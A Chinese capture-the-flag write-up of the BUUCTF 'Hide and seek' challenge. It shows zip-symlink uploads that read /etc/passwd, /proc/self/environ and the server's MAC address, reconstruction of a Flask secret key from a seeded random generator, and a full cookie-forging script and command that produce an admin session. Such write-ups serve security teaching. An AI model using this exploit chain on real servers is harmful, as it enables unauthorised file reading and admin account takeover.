BUUCTF:[HCTF 2018]Hide and seek
参考:https://www.jianshu.com/p/d20168da7284
先随便输入账号密码登录
提示我们上传zip文件
上传一个文件压缩后的zip,输出了文件压缩前的内容
可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,试试看能不能读取
root@mochu7:~/Desktop# ln -s /etc/passwd passwd
root@mochu7:~/Desktop# zip -y passwd.zip passwd
adding: passwd (stored 0%)
root@mochu7:~/Desktop# ls
firefox-esr.desktop passwd passwd.zip test
root@mochu7:~/Desktop#
上传passwd.zip,读取到了/etc/passwd的内容
返现存在admin账号,但是这里应该并没有数据库(这点从任何账号密码都可登录即可看出),admin账号应该就是靠cookie或者session验证的,所以查看一下页面cookie信息,发现一个很想flask的session
尝试解一下
https://jwt.io/#debugger-io
这样,我们只需要伪造admin的session即可,需要找到admin的session生成方式,接着尝试读取文件
/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
environ是 — 当前进程的环境变量列表,self可以替换成进程号。
读取/proc/self/environ
生成一个指向/proc/self/environ的软链接
ln -s /proc/self/environ env
压缩这个软链接生成zip压缩文件
zip -y env.zip env
上传读取到的文件内容
HOSTNAME=98cce75cd9cb
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/uwsgi.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16
STATIC_URL=/static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
LAG=not_flag
uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议
接着读取这个文件/app/uwsgi.ini
[uwsgi]
module = main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
猜测源码位置/app/mian.py
我不知道为啥我都出来的源码是这样的,不知道是不是路径不对,还是看别人读的源码
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
代码第29行,可以知道flag是藏在/app/flag.py
文件里,想着是不是可以生成下软链接直接读取呢,后面测试,发现还是提示you are not admin
然后重定向到index页面,原来是第79行处,执行了一个判断,如果通过上传的zip打开的文件里面有含有hctf的话,就会重定向到index?error=1页面,所以这条路是行不通的,对应了前面分析。
所以只能通过找SECRET_KEY
这个方法了,我们看到第11行 app.config['SECRET_KEY'] = str(random.random()*100)
,SECRET_KEY
居然等于一个随机数字字符串
难道每次SECRET_KEY
能不一样,后面发现,原来在这行代码之前第9行处,有一个random.seed(uuid.getnode())
,设置随机数种子操作。我们知道,python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的
于是把注意力放到这里的伪随机数种子,uuid.getnode()
,通过查询可以知道,这个函数可以获取网卡mac地址并转换成十进制数返回。也就是说,只要搞到服务器的网卡mac地址,就能确定种子,进而确定SECRET_KEY
,那服务器网卡mac地址又怎么获得呢?
linux中一切皆文件,网卡mac地址也能在文件中找到。可以通过读/sys/class/net/eth0/address
文件得到mac地址,于是构造软链接、生成zip、上传看返回结果,如下图,得到服务器mac地址为:02:42:ae:01:9c:bd
。然后就是把mac地址处理下,转换成10进制,然后设置成seed,生成一下SECRET_KEY
。脚本如下
import uuid
import random
mac = "02:42:ae:01:9c:bd"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #结果为 55.1222587560636
PS C:\Users\Administrator\Desktop\TEST> python3 test.py
55.1222587560636
SECRET_KEY
=55.1222587560636
使用flask_session_manager脚本生成admin的session
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='' ,
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='' ,
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
PS C:\Users\Administrator\Desktop\TEST> python3 flask_session_manager.py encode -s '55.1222587560636' -t "{'username':'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XoDYiA.9BlhaUQFsUvvl0WPPQFWBq-rEHY
PS C:\Users\Administrator\Desktop\TEST>
使用新生成的session替换原来的session即可登录admin